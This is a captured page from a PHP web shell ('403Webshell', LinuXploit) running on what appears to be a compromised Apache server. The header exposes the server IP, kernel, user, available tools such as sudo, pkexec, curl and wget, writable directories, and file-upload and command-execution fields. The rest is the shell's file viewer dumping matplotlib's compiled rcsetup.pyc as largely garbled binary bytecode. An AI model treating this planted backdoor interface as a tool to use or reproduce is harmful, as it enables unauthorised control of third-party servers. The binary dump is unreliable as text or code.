403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/__pycache__/rcsetup.cpython-310.pyc
o

�:�a��@sJ
dZddlZddlmZmZddlmZddlZddlZddl	Z	ddl
Zddlm
Z
mZddlmZddlmZmZddlmZdd	lmZmZdd
lmZmZgd�Zgd�ZeeZGd
d�d�Ze��d�ddd�dd��Z dd�Z!e e!�Z"dd�Z#dd�Z$dd�Z%dd�Z&dd�dd�Z'e'e(�Z)e'e(d d�Z*e e)d!d"�Z+e'e,�Z-e'e,d d�Z.e'e/�Z0e'e/d d�Z1e e0d#d"�Z2d$d%�Z3d&d'�Z4ed(ed d)�Z5e6�Z7d*d+�Z8d,d-�Z9d.d/�Z:d0d1�Z;d2d3�Z<d4d5�Z=d6d7�Z>e e>d d8d9�Z?d:d;�Z@d<d=�ZAd>d?�ZBd@dA�ZCe eC�ZDdBdC�ZEdDdE�ZFdFdG�ZGdHdI�ZHdJdK�ZIedLge�J��e�K��dM�dN�dO�dP�d d)�ZLdQdR�ZMedSgdT��ZNe eN�ZOdUdV�ZPe eP�ZQdWdX�ZRdYdZ�ZSd[d\�ZTd]d^�ZUeTeUd_�ZVd`da�ZWe eW�ZXe e2�ZYidbe e<d dc��dde2�dLe eM��dee?�dfe?�dge e��dhe e��dieO�dje?�dke2�dle2�dme?�dneQ�doe2�dpe+�dqeX�dreY�ZZdbdddLdedfdjdmdldkds�	Z[dtdu�ZGdvdw�dwej\�Z]dxdy�Z^dzd{�Z_Gd|d}�d}e`�Zad~d�Zbid(e8�d�e$�d�e9�d�e$�d�e)�d�e-�d�e)�d�e$�d�e-�d�e0�d�eM�d�e>�d�e)�d�e;�d�e;�d�e0�d�e0�id�e$�d�e�d�e�d�e�d�e�d�e2�d�e2�d�e2�d�e$�dSeN�d�gd���d�e$�d�e0�d�e>�d�e$�d�e>�d�e$��id�e>�d�e0�d�e_�d�e$�d�e$�d�eH�d�e.�d�e$�d�e$�d�e$�d�e$�d�e$�d�e$�d�e>�d�e)�d�e;�d�e>��id�e0�d�e0�d�eM�d�e0�d�e>�d�e0�d�eM�d�e>�d�e0�d�eM�d�e>�d�e0�d�eM�d�e>�d�e0�d�eM�d�e>��id�e)�d�e>�d�e>�d�e0�d�eM�d�e0�d�e+�d�e)�d�e)�d�e)�d�eE�d�e0�d�e+�d�e+�d�e+�d�e+�d�e+��id�e>�d�e$�d�e)�d�gdآ�d�e-�d�e-�d�e$�d�eF�d�eF�d�eF�d�eF�d�eF�d�eF�d�gd��d�gd��d�eG�d�eA��id�e)�d�e@�d�e-�d�d�d�g�d�e$�d�e$�d�eM�d�e$�d�e1�d�e0�d�gd���d�gd���d�e%�d�e>�d�e>�d�e0�d�e$��id�e$�d�e$�d�e$��deC��dgd����deE��de;��de1��de0��de$��dg�d���d	g�d
���deC��de0��d
eE��de>��de e-�d�d���i�de$��de$��de-��de$��de-��de$��de^��d�d�dg��deV�d��deV�d��deV�d��d e$��d!e$��d"e)��d#e)��d$e#��d%e)��i�d&e)��d'e)��d(e)��d)e)��d*e)��d+e)��d,�d-�d.g��d/e$��d0e$��d1eag�d2����d3e-��d4e-��d5eC��d6eB��d7e=��d8e0��d9e$��i�d:e$��d;e1��d<e0��d=e0��d>e0��d?e0��d@e0��dAe0��dBe0��dCe:��dDe:��dEe$��dFe$��dGe$��dHe$��dIe0��dJe0��i�dKe0��dLe0��dMe0��dNe0��dOe>��dPe:��dQe$��dRe$��dSe$��dTe$��dUe$��dVeC��dWg�dX���dYg�dZ���d[e$��d\e$��d]e$��i�d^e$��d_e0��d`e0��dae0��dbe0��dce0��dde0��dee>��dfe:��dge$��dhe$��die$��dje$��dke$��dleC��dmg�dX���dng�do���i�dpe>��dqeM��dre0��dse0��dteC��dueE��dve e0�d�d���dwe0��dxe>��dye>��dze$��d{e$��d|e-��d}e$��d~eV�d��deV�d��d�eV�d��i�d�eV�d��d�eV�d���d�eV�d���d�e$��d�eV�d���d�eV�d���d�e0��d�e0��d�e&��d�e;��d�e;��d��d��d�g��d�e)��d�eR��d�e0��d�e3��d�e$��i�d�e$��d�ea�d-�d��d��d�g�d��d���d�D�����d�e$��d�eI��d�e-��d�e4��d�e-��d�e$��d�e$��d�e4��d�g�d����d�e$��d�e)��d�e$��d�dN�d�g��d�e*��d�e$��i�d�e$��d�eV�d��d�e$��d�eS��d�e"��d�e-��d�e+��d�e+��d�e+��d�e+��d�e+��d�e+��d�e+��d�e+��d�e+��d�e+��d�e+��e+e+e+e+g�d��e0e)e)e-g�d��e3e+e3e+e$�d���Zc�d�diZd�dÐdĄec�e�D�ZcdS(�ak
The rcsetup module contains the validation code for customization using
Matplotlib's rc settings.

Each rc setting is assigned a function used to validate any attempted changes
to that setting.  The validation functions are defined in the rcsetup module,
and are used to construct the rcParams global object which stores the settings
and is referenced throughout Matplotlib.

The default values of the rc settings are set in the default matplotlibrc file.
Any additions or deletions to the parameter set listed here should also be
propagated to the :file:`matplotlibrc.template` in Matplotlib's root source
directory.
�N)�	lru_cache�reduce)�Number)�_api�cbook)�	ls_mapper)�Colormap�
is_color_like��parse_fontconfig_pattern)�	JoinStyle�CapStyle)�Cycler�cycler)�GTK3Agg�	GTK3Cairo�GTK4Agg�	GTK4Cairo�MacOSX�nbAgg�QtAgg�QtCairo�Qt5Agg�Qt5Cairo�TkAgg�TkCairo�WebAgg�WX�WXAgg�WXCairo)�agg�cairo�pdf�pgf�ps�svg�templatec@s$eZdZddd�dd�Zdd�ZdS)	�ValidateInStringsFN)�_deprecated_sincecs6||_�|_||_�fdd���fdd�|D�|_dS)z#*valid* is a list of legal strings.cs�r|��S|S�N)�lower��s��
ignorecase��4/usr/lib/python3/dist-packages/matplotlib/rcsetup.py�func;sz(ValidateInStrings.__init__.<locals>.funccsi|]}�|�|�qSr/r/)�.0�k)r1r/r0�
<dictcomp>@sz.ValidateInStrings.__init__.<locals>.<dictcomp>N)�keyr.r(�valid)�selfr5r6r.r(r/)r1r.r0�__init__4s
zValidateInStrings.__init__cs��jr�fdd�t���D�\}tj�j|dd��jr |��}|�jvr*�j|S|�d�j�dg�j�	����}t
|t�r`|�d�rI|�
d�sS|�d�r`|�
d�r`|d	d
��jvr`|d7}t|��)Nc3s �|]\}}|�ur|VqdSr)r/�r2r3�v�r7r/r0�	<genexpr>Ds�z-ValidateInStrings.__call__.<locals>.<genexpr>�function)�name�obj_typez is not a valid value for z; supported values are �"�'����z'; remove quotes surrounding your string)r(�globals�itemsr�warn_deprecatedr.r*r6r5�values�
isinstance�str�
startswith�endswith�
ValueError)r7r,r>�msgr/r;r0�__call__Bs0�

�
����zValidateInStrings.__call__�F)�__name__�
__module__�__qualname__r8rNr/r/r/r0r'3s
�r'F)�n�doccs����fdd�}z	d��j�|_Wnty#d�t��j�|_Ynw|j�dd�dd|j|_|dur<||_|S�j|_|S)Ncs�t|t�r*z�fdd�|�d�D�}Wn3ty)�r&�fdd�|D�}n�Ynwt�|�r@t|ttf�s@�fdd�|D�}ntd|�����dur`t	|��kr`td��dt	|��d	|����|S)
Nc� g|]}|��r�|����qSr/��strip�r2r:��scalar_validatorr/r0�
<listcomp>[s�z1_listify_validator.<locals>.f.<locals>.<listcomp>�,crUr/rVrXrYr/r0r[as cs"g|]
}t|t�r|r�|��qSr/)rHrIrXrYr/r0r[ks
��z0Expected str or other non-set iterable, but got z	Expected z values, but there are z values in )
rHrI�split�	Exception�np�iterable�set�	frozensetrL�len)r,�val��allow_stringlistrSrZr/r0�fXs&
��	��z_listify_validator.<locals>.fz{}listz{}List�.rBr)�formatrP�AttributeError�typerR�rsplit�__doc__)rZrfrSrTrgr/rer0�_listify_validatorUs��rncCs|Sr)r/r+r/r/r0�validate_any~srocCs.zt�|�|WStyt|�d���w)Nz: should be a string that can be parsed by numpy.datetime64)r_�
datetime64rLr+r/r/r0�_validate_date�s
��rqcCs6t|t�r	|��}|dvrdS|dvrdStd|��)zConvert b to ``bool`` or raise.)�t�y�yes�on�true�1rBTT)rgrS�no�off�false�0rFFzCould not convert "%s" to bool�rHrIr*rL)�br/r/r0�
validate_bool�s
r~cCsBzt|�WStyt|t�r|dkrYdSYnwtd|��)N�linez2%s cannot be interpreted as True, False, or "line")r~rLrHrIr+r/r/r0�validate_axisbelow�s

���r�c
CsF|dkr|Szt|�WSty"}zt|�d|�d��|�d}~ww)z<Confirm s is string 'figure' or convert s to float or raise.�figurez. is not string "figure" and could not convert z	 to floatN��floatrL�r,�er/r/r0�validate_dpi�s
����r�)�
allow_nonecsP��fdd�}d�j��|_�r|jd7_|j�dd�dd|j|_|S)zp
    Return a validator that converts inputs to *cls* or raises (and possibly
    allows ``None`` as well).
    c
s��r|dust|t�r|��dkrdS�tur#t|t�s#tjddd�z�|�WSttfyB}ztd|�d�j���|�d}~ww)N�nonez3.5z�Support for setting an rcParam that expects a str value to a non-str value is deprecated since %(since)s and support will be removed %(removal)s.)�messagezCould not convert z to )rHrIr*rrF�	TypeErrorrLrPr��r��clsr/r0�	validator�s"�
����z'_make_type_validator.<locals>.validator�	validate_�_or_NonerhrBr)rPrRrl)r�r�r�r/r�r0�_make_type_validator�s�r�Tzreturn a list of strings)rTzreturn a list of floatscCs"t|ttjf�r
t�|�St|�Sr))rHrI�os�PathLike�fsdecode�validate_stringr+r/r/r0�_validate_pathlike�s
r�c
Cs�ddd�}zt|�}Wn&ty1z	||��WYSty0}z	tdt|��|�d}~www||��vrBtdt|�����|S)z`
    Confirm that this is a Postscript or PDF font type that we know how to
    convert to.
    ��*)�type3�truetypez*Supported Postscript/PDF font types are %sN)�validate_intrLr*�KeyError�listrG)r,�	fonttypes�fonttyper�r/r/r0�validate_fonttype�s0������
��r��backendr-cCs&|tus	|�d�r
|}|St|�}|S)Nz	module://)�_auto_backend_sentinelrJ�_validate_standard_backends)r,r�r/r/r0�validate_backend�s���r�cCs,tdgd�dd�|�}|dkrt�d�|S)N�toolbar)�None�toolbar2�toolmanagerTr-r�zyTreat the new Tool classes introduced in v1.5 as experimental for now; the API and rcParam may change in future versions.)r'r�
warn_externalr+r/r/r0�_validate_toolbars
���r�cC�t�|d�r|St|�S)�Return a valid color arg.�inherit�r�
_str_equal�validate_colorr+r/r/r0�validate_color_or_inherit
sr�cCr�)N�autor�r+r/r/r0�validate_color_or_autosr�cCs.t|t�rt�d|�rtd|�d���t|�S)Nz^C[0-9]$zCannot put cycle reference (z) in prop_cycler)rHrI�re�matchrLr�r+r/r/r0�validate_color_for_prop_cyclesr�cCs�t�|d�r|St�|d�st�|d�rdSt�|d�s"t�|d�r$dS|dur*dSt|t�r5t|�dks;t|�dkrNd|}t|�rE|S|��d	krMdSnt|�rT|St|�d
���)N�	linecolor�mfc�markerfacecolor�mec�markeredgecolor���#r�� does not look like a color arg)rr�rHrIrcr	r*rL)r,�stmpr/r/r0�_validate_color_or_linecolor!s$"�r�c	Cs�t|t�r#|��dkr
dSt|�dkst|�dkr#d|}t|�r#|St|�r)|Szt�|�}Wnttfy;Ynwt|�rB|St|�d���)r�r�r�r�r�r�)	rHrIr*rcr	�ast�literal_eval�SyntaxErrorrL)r,r��colorr/r/r0r�6s"
�r�zreturn a list of colorspecs)rfrTcCstjttf|d�|S)N)�cmap)r�check_isinstancerIrr+r/r/r0�_validate_cmapSsr�c
Cs:|dvr|Szt|�WSty}ztd�|�d}~ww)N)r��equalz not a valid aspect specificationr�r�r/r/r0�validate_aspectXs

��r�cCs|dus|dkr
dSt|�S)Nr�)�validate_fontsizer+r/r/r0�validate_fontsize_Noneasr�c
Csbgd�}t|t�r
|��}||vr|Szt|�WSty0}ztd|d�|�f�|�d}~ww)N)	zxx-smallzx-small�small�medium�largezx-largezxx-large�smaller�largerz5%s is not a valid font size. Valid font sizes are %s.z, )rHrIr*r�rL�join)r,�	fontsizesr�r/r/r0r�hs

����r�c
CsLgd�}||vr
|Szt|�WSttfy%}zt|�d��|�d}~ww)N)�
ultralight�light�normal�regular�bookr��roman�semibold�demibold�demi�bold�heavyz
extra bold�blackz is not a valid font weight.)�intrLr�)r,�weightsr�r/r/r0�validate_fontweightys
��r�cCst|�|Sr)r
r+r/r/r0�validate_font_properties�sr�cCsXgd�}t|t�r
|��}|dus|dkrdS|��|vr|St|�dd�|��d���)N)�cm�stix�stixsansr�zB is not a valid fallback font name. Valid fallback font names are r\z(. Passing 'None' will turn fallback off.)rHrIr*rLr�)r,�_fallback_fontsr/r/r0�_validate_mathtext_fallback�s
��r�c
CsXz	ttdd�|�WSttfy+zt|�WYSty*}ztd�|�d}~www)N��rSz:Not a valid whisker value ['range', float, (float, float)])rn�validate_floatr�rLr�r�r/r/r0�validate_whiskers�s����r�cCs0t|t�r	|��}|dvrdStdddg�|�S)N)r�NrzF�ps.usedistiller�ghostscript�xpdf)rHrIr*r'r+r/r/r0�validate_ps_distiller�s

r��	linestyler�r�� �c	Cs�t|t�r'zt|�WStyYnwzt�|�}Wnttfy&Ynwdd�}||�r^t|�dkr@||d�r@|\}}nd}|}t|t�r^t|�ddkr^t	dd�|D��r^||fStd|�d	���)
zf
    A validator for all possible line styles, the named ones *and*
    the on-off ink sequences.
    cSst�|�o
t|tttf�Sr))r_r`rHrI�bytes�	bytearray)�xr/r/r0�_is_iterable_not_string_like�sz9_validate_linestyle.<locals>._is_iterable_not_string_liker�rBrcs��|]}t|t�VqdSr))rHr)r2�elemr/r/r0r<���z&_validate_linestyle.<locals>.<genexpr>z
linestyle z$ is not a valid on-off ink sequence.)
rHrI�_validate_named_linestylerLr�r�r�rcr�all)�lsr��offset�onoffr/r/r0�_validate_linestyle�s.

��

�r�zmarkers.fillstyle)�full�left�right�bottom�topr�cCs�t|ttttd�f�r
|St|t�r0t|�dkr,tdd�|D��s*tdd�|D��r,|Std��t|t	�rDtdd�|D��r@|Std��td	��)
a
    Validate the markevery property of a Line2D object.

    Parameters
    ----------
    s : None, int, (int, int), slice, float, (float, float), or list[int]

    Returns
    -------
    None, int, (int, int), slice, float, (float, float), or list[int]
    Nr�csr�r)�rHr��r2r�r/r/r0r<�r�z%validate_markevery.<locals>.<genexpr>csr�r))rHr�rr/r/r0r<�r�z3'markevery' tuple must be pair of ints or of floatscsr�r)rrr/r/r0r<�r�z3'markevery' list must have all elements of type intz!'markevery' is of an invalid type)
rH�slicer�r�rk�tuplercr�r�r�r+r/r/r0�validate_markevery�s&

���
�r	cCsFt|t�r|��}|dkr|S|dkrdStd��|dur!td��|S)N�tight�standardz$bbox should be 'tight' or 'standard'r|r+r/r/r0�
validate_bboxs
rcCsTt|t�r	|��}|dks|durdSztttdd�|��WSty)td��w)Nr�r�r�z.Expected a (scale, length, randomness) triplet)rHrIr*rrnr�rLr+r/r/r0�validate_sketchs
�r
cCs.t|�}d|krdkr|Std|����)NrrBzValue must be >=0 and <1; got �r��RuntimeErrorr+r/r/r0�!_validate_greaterequal0_lessthan1 �
�rcCs.t|�}d|krdkr|Std|����)NrrBzValue must be >=0 and <=1; got rr+r/r/r0�"_validate_greaterequal0_lessequal1(rr)�
0 <= x < 1�0 <= x <= 1cCsHt|t�s	td��tjt|d�t|�hd�}|r"tdt|���|S)z�
    Validate a hatch pattern.
    A hatch pattern string can have any sequence of the following
    characters: ``\ / | - + * . x o O``.
    zHatch pattern must be a string)�
hatch_pattern>
�*rh�O�or��+�-�/�\�|zUnknown hatch symbol(s): %s)rHrIrLrr�rar�)r,�unknownr/r/r0�validate_hatch6s
rr�)rf�	linewidth�	facecolor�	edgecolor�	joinstyle�capstyle�	fillstyler��
markersize�markeredgewidthr��	markevery�alpha�marker�hatch�dashes)	�c�lwr��fc�ecr�r��mew�mscOs�|r|rtd��|s|std��t|�dkr't|dt�s!td��t|d�St|�dkr7|d|dfg}nt|�dkrAtd��|��}g}|D]%\}}t�||�}t�|d�}|durctd	|��||�}|�	||f�qIt
tjd
d�|D��S)a!
    Create a `~cycler.Cycler` object much like :func:`cycler.cycler`,
    but includes input validation.

    Call signatures::

      cycler(cycler)
      cycler(label=values[, label2=values2[, ...]])
      cycler(label, values)

    Form 1 copies a given `~cycler.Cycler` object.

    Form 2 creates a `~cycler.Cycler` which cycles over one or more
    properties simultaneously. If multiple properties are given, their
    value lists must have the same length.

    Form 3 creates a `~cycler.Cycler` for a single property. This form
    exists for compatibility with the original cycler. Its use is
    discouraged in favor of the kwarg form, i.e. ``cycler(label=values)``.

    Parameters
    ----------
    cycler : Cycler
        Copy constructor for Cycler.

    label : str
        The property key. Must be a valid `.Artist` property.
        For example, 'color' or 'linestyle'. Aliases are allowed,
        such as 'c' for 'color' and 'lw' for 'linewidth'.

    values : iterable
        Finite-length iterable of the property values. These values
        are validated and will raise a ValueError if invalid.

    Returns
    -------
    Cycler
        A new :class:`~cycler.Cycler` for the given properties.

    Examples
    --------
    Creating a cycler for a single property:

    >>> c = cycler(color=['red', 'green', 'blue'])

    Creating a cycler for simultaneously cycling over multiple properties
    (e.g. red circle, green plus, blue cross):

    >>> c = cycler(color=['red', 'green', 'blue'],
    ...            marker=['o', '+', 'x'])

    zEcycler() can only accept positional OR keyword arguments -- not both.z2cycler() must have positional OR keyword argumentsrBrzDIf only one positional argument given, it must be a Cycler instance.r�z+No more than 2 positional arguments allowedNzUnknown artist property: %scss�|]
\}}t||�VqdSr))�ccyclerr9r/r/r0r<�s�zcycler.<locals>.<genexpr>)
r�rcrHr�validate_cyclerrE�
_prop_aliases�get�_prop_validators�appendr�operator�add)�args�kwargs�pairs�	validated�prop�vals�	norm_propr�r/r/r0rjs,5rc@seZdZdd�ZdS)�_DunderCheckercCs.|j�d�r|j�d�rtd��|�|�dS)N�__z)cycler strings with dunders are forbidden)�attrrJrKrL�
generic_visit)r7�noder/r/r0�visit_Attribute�sz_DunderChecker.visit_AttributeN)rPrQrRrGr/r/r/r0rB�srBc	
Csbt|t�r.zt��t�|��t|tid��}Wnty-}z	t	d||f�|�d}~wwt|t
�r6|}nt	d|��|jtt
�tt�B}|rOt	d|��t�}|jD]+}t�||�}||krn||jvrnt	d�||���||vrzt	d�||���|�|g�qUt|�t|j�ks�J�|jD]}t�||�}|�||�q�|����D]
\}}t
||�q�|S)z?Return a Cycler object from a string repr or the object itself.)r�__builtins__z+'%s' is not a valid cycler construction: %sNz.object was not a string or Cycler instance: %szUnknown artist properties: %sz@Cannot specify both '{0}' and alias '{1}' in the same prop_cyclezKAnother property was already aliased to '{0}'. Collision normalizing '{1}'.)rHrIrB�visitr��parse�evalr�
BaseExceptionrLr�keysrar7r5r6ri�updaterc�
change_key�by_keyrE)	r,r��cycler_inst�unknowns�checkerr?rAr5r@r/r/r0r4�sN
����

���
r4c	Cslgd�}t|t�r||vr|Szt|�WSttfyYnwzt|�WSty.Ynwtd�|���)N)r��sturges�fd�doane�scott�rice�sqrtz='hist.bins' must be one of {}, an int or a sequence of floats)rHrIr�r�rL�validate_floatlistri)r,�
valid_strsr/r/r0�validate_hist_binss 
�
��r\c@seZdZdZdS)�_ignorecasezAA marker class indicating that a list-of-str is case-insensitive.N)rPrQrRrmr/r/r/r0r]sr]cCs&t|t�rt|t�}t|||d�S|S)Nr-)rHr�r]r')r5�convr.r/r/r0�_convert_validator_specs

r_�backend_fallbackr��interactive�timezonezwebagg.portzwebagg.addresszwebagg.open_in_browserzwebagg.port_retrieszlines.linewidthzlines.linestylezlines.colorzlines.markerzlines.markerfacecolorzlines.markeredgecolorzlines.markeredgewidthzlines.markersizezlines.antialiasedzlines.dash_joinstylezlines.solid_joinstylezlines.dash_capstylezlines.solid_capstylezlines.dashed_patternzlines.dashdot_patternzlines.dotted_patternzlines.scale_dasheszpcolor.shading)r��flat�nearest�gouraudzpcolormesh.snapzpatch.linewidthzpatch.edgecolorzpatch.force_edgecolorzpatch.facecolorzpatch.antialiasedzhatch.colorzhatch.linewidthz	hist.binsz
boxplot.notchzboxplot.verticalzboxplot.whiskerszboxplot.bootstrapzboxplot.patchartistzboxplot.showmeanszboxplot.showcapszboxplot.showboxzboxplot.showflierszboxplot.meanlinezboxplot.flierprops.colorzboxplot.flierprops.markerz"boxplot.flierprops.markerfacecolorz"boxplot.flierprops.markeredgecolorz"boxplot.flierprops.markeredgewidthzboxplot.flierprops.markersizezboxplot.flierprops.linestylezboxplot.flierprops.linewidthzboxplot.boxprops.colorzboxplot.boxprops.linewidthzboxplot.boxprops.linestylezboxplot.whiskerprops.colorzboxplot.whiskerprops.linewidthzboxplot.whiskerprops.linestylezboxplot.capprops.colorzboxplot.capprops.linewidthzboxplot.capprops.linestylezboxplot.medianprops.colorzboxplot.medianprops.linewidthzboxplot.medianprops.linestylezboxplot.meanprops.colorzboxplot.meanprops.markerz!boxplot.meanprops.markerfacecolorz!boxplot.meanprops.markeredgecolorzboxplot.meanprops.markersizezboxplot.meanprops.linestylezboxplot.meanprops.linewidthzfont.familyz
font.stylezfont.variantzfont.stretchzfont.weightz	font.sizez
font.serifzfont.sans-serifzfont.cursivezfont.fantasyzfont.monospacez
text.colorztext.usetexztext.latex.preambleztext.hinting)�default�no_autohint�force_autohint�
no_hintingr��native�eitherr�ztext.hinting_factorztext.kerning_factorztext.antialiasedzmathtext.calzmathtext.rmzmathtext.ttzmathtext.itzmathtext.bfzmathtext.sfzmathtext.fontset)�
dejavusans�dejavuserifr�r�r��customzmathtext.default)�rm�cal�it�tt�sf�bfrf�bb�frak�scrr�zmathtext.fallbackzimage.aspectzimage.interpolationz
image.cmapz	image.lutzimage.origin�upperr*zimage.resamplezimage.composite_imagezcontour.negative_linestylezcontour.corner_maskzcontour.linewidthzerrorbar.capsizezxaxis.labellocation)r�centerrzyaxis.labellocation)rryrzaxes.axisbelowzaxes.facecolorzaxes.edgecolorzaxes.linewidthzaxes.spines.leftzaxes.spines.rightzaxes.spines.bottomzaxes.spines.topzaxes.titlesizezaxes.titlelocationzaxes.titleweightzaxes.titlecolorzaxes.titleyz
axes.titlepadz	axes.gridzaxes.grid.which)�minor�both�majorzaxes.grid.axis)r�rsr{zaxes.labelsizez
axes.labelpadzaxes.labelweightzaxes.labelcolorzaxes.formatter.limitsr�r�zaxes.formatter.use_localezaxes.formatter.use_mathtextzaxes.formatter.min_exponentzaxes.formatter.useoffsetzaxes.formatter.offset_thresholdzaxes.unicode_minuszaxes.prop_cyclezaxes.autolimit_mode�data�
round_numberszaxes.xmarginrzaxes.ymarginzaxes.zmarginzpolaraxes.gridzaxes3d.gridzscatter.markerzscatter.edgecolorsz
date.epochzdate.autoformatter.yearzdate.autoformatter.monthzdate.autoformatter.dayzdate.autoformatter.hourzdate.autoformatter.minutezdate.autoformatter.secondzdate.autoformatter.microsecondzdate.converterr��concisezdate.interval_multipleszlegend.fancyboxz
legend.loc)�bestzupper rightz
upper leftz
lower leftzlower rightrzcenter leftzcenter rightzlower centerzupper centerryzlegend.numpointszlegend.scatterpointszlegend.fontsizezlegend.title_fontsizezlegend.labelcolorzlegend.markerscalez
legend.shadowzlegend.frameonzlegend.framealphazlegend.borderpadzlegend.labelspacingzlegend.handlelengthzlegend.handleheightzlegend.handletextpadzlegend.borderaxespadzlegend.columnspacingzlegend.facecolorzlegend.edgecolorz	xtick.topzxtick.bottomzxtick.labeltopzxtick.labelbottomzxtick.major.sizezxtick.minor.sizezxtick.major.widthzxtick.minor.widthzxtick.major.padzxtick.minor.padzxtick.colorzxtick.labelcolorzxtick.minor.visiblezxtick.minor.topzxtick.minor.bottomzxtick.major.topzxtick.major.bottomzxtick.labelsizezxtick.direction)�out�in�inoutzxtick.alignment)ryrrz
ytick.leftzytick.rightzytick.labelleftzytick.labelrightzytick.major.sizezytick.minor.sizezytick.major.widthzytick.minor.widthzytick.major.padzytick.minor.padzytick.colorzytick.labelcolorzytick.minor.visiblezytick.minor.leftzytick.minor.rightzytick.major.leftzytick.major.rightzytick.labelsizezytick.directionzytick.alignment)ryrr�baseline�center_baselinez
grid.colorzgrid.linestylezgrid.linewidthz
grid.alphazfigure.titlesizezfigure.titleweightzfigure.figsizez
figure.dpizfigure.facecolorzfigure.edgecolorzfigure.frameonzfigure.autolayoutzfigure.max_open_warningzfigure.raise_windowzfigure.subplot.leftzfigure.subplot.rightzfigure.subplot.bottomzfigure.subplot.topzfigure.subplot.wspacerzfigure.subplot.hspacezfigure.constrained_layout.usez figure.constrained_layout.hspacez figure.constrained_layout.wspacezfigure.constrained_layout.h_padzfigure.constrained_layout.w_padzsavefig.dpizsavefig.facecolorzsavefig.edgecolorzsavefig.orientation�	landscape�portraitzsavefig.formatzsavefig.bboxzsavefig.pad_incheszsavefig.directoryzsavefig.transparentztk.window_focuszps.papersize�letter�legal�ledgercCs&g|]}td�D]}|�|���qqS)�)�range)r2�ab�ir/r/r0r[�s
��r[r�z	ps.useafmr�zps.distiller.reszps.fonttypezpdf.compressionzpdf.inheritcolorzpdf.use14corefontszpdf.fonttypez
pgf.texsystem)�xelatex�lualatex�pdflatexzpgf.rcfontszpgf.preamblezsvg.image_inlinezsvg.fonttype�pathzsvg.hashsaltzdocstring.hardcopyz
path.simplifyzpath.simplify_thresholdz	path.snapzpath.sketchzpath.effectszagg.path.chunksizezkeymap.fullscreenzkeymap.homezkeymap.backzkeymap.forwardz
keymap.panzkeymap.zoomzkeymap.savezkeymap.quitzkeymap.quit_allzkeymap.gridzkeymap.grid_minor)�html5�jshtmlr�)
�png�jpeg�tiff�raw�rgba�ppm�sgi�bmp�pbmr%)z
keymap.yscalez
keymap.xscalezkeymap.helpzkeymap.copyzanimation.htmlzanimation.embed_limitzanimation.writerzanimation.codeczanimation.bitratezanimation.frame_formatzanimation.ffmpeg_pathzanimation.ffmpeg_argszanimation.convert_pathzanimation.convert_args�_internal.classic_moder�cCsi|]
\}}|t||��qSr/)r_)r2r3r^r/r/r0r4�s�r4rO)frmr��	functoolsrr�numbersrr9r�r��numpyr_�
matplotlibrr�matplotlib.cbookr�matplotlib.colorsrr	�matplotlib.fontconfig_patternr�matplotlib._enumsrr
rrr3�interactive_bk�non_interactive_bk�all_backendsr'rnro�validate_anylistrqr~r�r�r�rIr��validate_string_or_None�validate_stringlistr�r��validate_int_or_Noner�r��validate_float_or_NonerZr�r�r��objectr�r�r�r�r�r�r�r��validate_colorlistr�r�r�r��validate_fontsizelistr�r�r�r�r�rMrGr�r��validate_fillstyle�validate_fillstylelistr	�validate_markeverylistrr
rr�_range_validatorsr�validate_hatchlist�validate_dashlistr7r5�NodeVisitorrBr4r\r�r]r_�_validators�_hardcoded_defaultsrEr/r/r/r0�<module>s�
	"�(	��	�
�	
"�%�"	���������	�
���
�������
U<
�������	�
�
����������������� �#�$�'�(�)�*�+�.�/�2�5�6�7�8�9�:�;�<�=�>�@�A�B�C�D�E�F�G�I�J�K�M�N�O�Q�R�S�U�V�W�Y�Z�[�\�]�^�_�b�c�d�e�f�g�h�i�j�k�l�o�p�q�r�t�u�v�x�y�z�{�|�}�~�������������	��
��
�������������������� ��"��#��$��%��'��
(��)��*��,��.��/��0��1��2��3��4��5��8��:��;��=��>��?��@��C��F��G��H��I��K��L��O��P��R��S��T��U��V��W��X��Y��[��]��`��a��h��j��k��l��n��p��q��s��u��x��z��|��~�����������������
���������
������������������������������������������������������ ���!���"���#���$���%���&���'���(���)���*���+���,���-���.���/���0���1���2���5���6���7���8���<���=���@���A���B���C���D���E���F���G���I���J���K���L���M���N���P���S���T���V���W���Z���[���\���]���^���_���`���b���c���e���h
�����k���m���n���o���p���q���s���t���v���w���x���{���|���}���������������������������������������
���������������������������������������
�7�

�

Youez - 2016 - github.com/yon3zu
LinuXploit